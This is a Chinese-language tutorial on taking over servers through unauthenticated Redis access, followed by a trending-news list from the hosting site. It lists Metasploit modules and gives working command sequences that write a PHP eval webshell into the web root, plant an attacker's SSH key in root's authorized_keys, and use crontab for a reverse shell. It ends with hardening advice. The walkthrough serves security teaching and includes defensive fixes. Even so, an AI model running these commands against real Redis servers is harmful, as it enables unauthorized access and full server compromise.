
新聞分類
Redis GetShell提權(quán)
環(huán)境準(zhǔn)備
目標(biāo)機器:129.168.186.4
Kali 開啟 SSH
配置 Redis
wget http://download.redis.io/releases/redis-3.2.11.tar.gz tar zxvf redis-3.2.11.tar.gz cd redis-3.2.11 cp redis.conf /etc/redis.conf make cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/ vim /etc/redis.conf
去掉 ip 綁定,允許除本地外的主機遠(yuǎn)程登錄 redis 服務(wù) 前面加 #注釋掉
關(guān)閉保護模式,允許遠(yuǎn)程連接 redis 服務(wù)將 yes 改為 no啟動redis
啟動服務(wù) redis-server /etc/redis.conf
常用命令
連接 Redis 服務(wù)器
redis-cli -h ipadd
MSF 下利用模塊
auxiliary/scanner/redis/file_upload auxiliary/scanner/redis/redis_login auxiliary/scanner/redis/redis_server
GetShell 原理:攻擊者在未授權(quán)訪問 Redis 的情況下,利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫文件操作,我們可以將 dir 設(shè)置為一個目錄 a,而 dbfilename 為文件名 b,再執(zhí)行 save 或 bgsave,就可以寫入一個路徑為 a/b 的任意文件。
計劃任務(wù)反彈 Shell
- 在 Redis 以 root 權(quán)限運行時可以寫 crontab 來執(zhí)行命令反彈 shell
默認(rèn)編寫的 crontab 文件會保存在 (/var/spool/cron/ 用戶名 例如: /var/spool/cron/root
crontab -l 列出某個用戶 cron 服務(wù)的詳細(xì)內(nèi)容
crontab -r 刪除每個用戶 cront 任務(wù) (謹(jǐn)慎:刪除所有的計劃任務(wù))
crontab -e 使用編輯器編輯當(dāng)前的 crontab 文件
Web 目錄寫 Shell
- 當(dāng) redis 權(quán)限不高且服務(wù)器開著 web 服務(wù)
- redis 有 web 目錄寫權(quán)限
- 可以嘗試往 web 路徑寫 webshell
redis-cli -h ip ip:6379> config set dir /var/www/html/ OK ip:6379> config set dbfilename shell.php OK ip:6379> set x "<?php @eval($_POST['shell']);?>" OK ip:6379> save OK
寫 ssh-key 公鑰獲取權(quán)限
- Redis 服務(wù)使用 ROOT 賬號啟動
- 服務(wù)器開放了 SSH 服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫入一個公鑰,直接登錄遠(yuǎn)程服務(wù)器。
ssh-keygen -t rsa # 將公鑰寫入一個文件,內(nèi)容前后要加兩個換行 (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt # 將公鑰放入目標(biāo)服務(wù)器鍵`crackit`里面 cat key.txt | redis-cli -h 172.16.186.4 -x set crackit ip:6379> config set dir /root/.ssh/ OK ip:6379> config get dir 1) "dir" 2) "/root/.ssh" ip:6379> config set dbfilename authorized_keys OK ip.4:6379> save OK # 使用私鑰連接 ? ssh -i id_rsa root@redis-ip
修復(fù)建議
- 禁止 Redis 服務(wù)對公網(wǎng)開放,可通過修改?
redis.conf
?配置文件中的?#bind 127.0.0.1
?,去掉前面的?#
?即可(Redis 本來就是作為內(nèi)存數(shù)據(jù)庫,只要監(jiān)聽在本機即可) - **設(shè)置密碼訪問認(rèn)證,可通過修改?
redis.conf
?配置文件中的?requirepass
?設(shè)置復(fù)雜密碼 ** - 重啟 Redis 服務(wù)
- 對訪問源 IP 進(jìn)行訪問控制,可在防火墻限定指定源 IP 才可以連接 Redis 服務(wù)器
- 保證 authorized_keys 文件的安全為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。
- 將 authorized_keys 的權(quán)限設(shè)置為對擁有者只讀,其他用戶沒有任何權(quán)限
chmod 400 ~/.ssh/authorized_keys
- 為保證 authorized_keys 的權(quán)限不會被改掉,您還需要設(shè)置該文件的 immutable 位權(quán)限:
chattr +i ~/.ssh/authorized_keys
然而,用戶還可以重命名~/.ssh,然后新建新的~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設(shè)置~./ssh 的 immutable 位權(quán)限:
chattr +i ~/.ssh
以低權(quán)限運行 Redis 服務(wù)(重啟 redis 才能生效)
為 Redis 服務(wù)創(chuàng)建單獨的用戶和家目錄,并且配置禁止登陸
[超站]友情鏈接:
四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級服務(wù)市場:https://www.ijiandao.com/

隨時掌握互聯(lián)網(wǎng)精彩
排名
熱點
搜索指數(shù)
- 1 傳統(tǒng)產(chǎn)業(yè)“綠”動“智”變 7904572
- 2 廣東氣象罕見提醒:做好巨災(zāi)防御準(zhǔn)備 7808371
- 3 “南天門計劃”有50萬字了 7712926
- 4 殲-20的首次靜態(tài)展示有何重要意義 7619277
- 5 女兒發(fā)現(xiàn)父親500多萬遺產(chǎn)用于保健 7523967
- 6 始祖鳥事件后 多戶外品牌集體表態(tài) 7425748
- 7 為阻止印籍員工返美 美國人組團搶票 7334291
- 8 菲軍方宣布“紅色警戒”狀態(tài) 7234323
- 9 員工下班途中騎車倒地身亡算工傷嗎 7141834
- 10 大爺蹲點進(jìn)周杰倫演唱會賣水:5元1瓶 7046023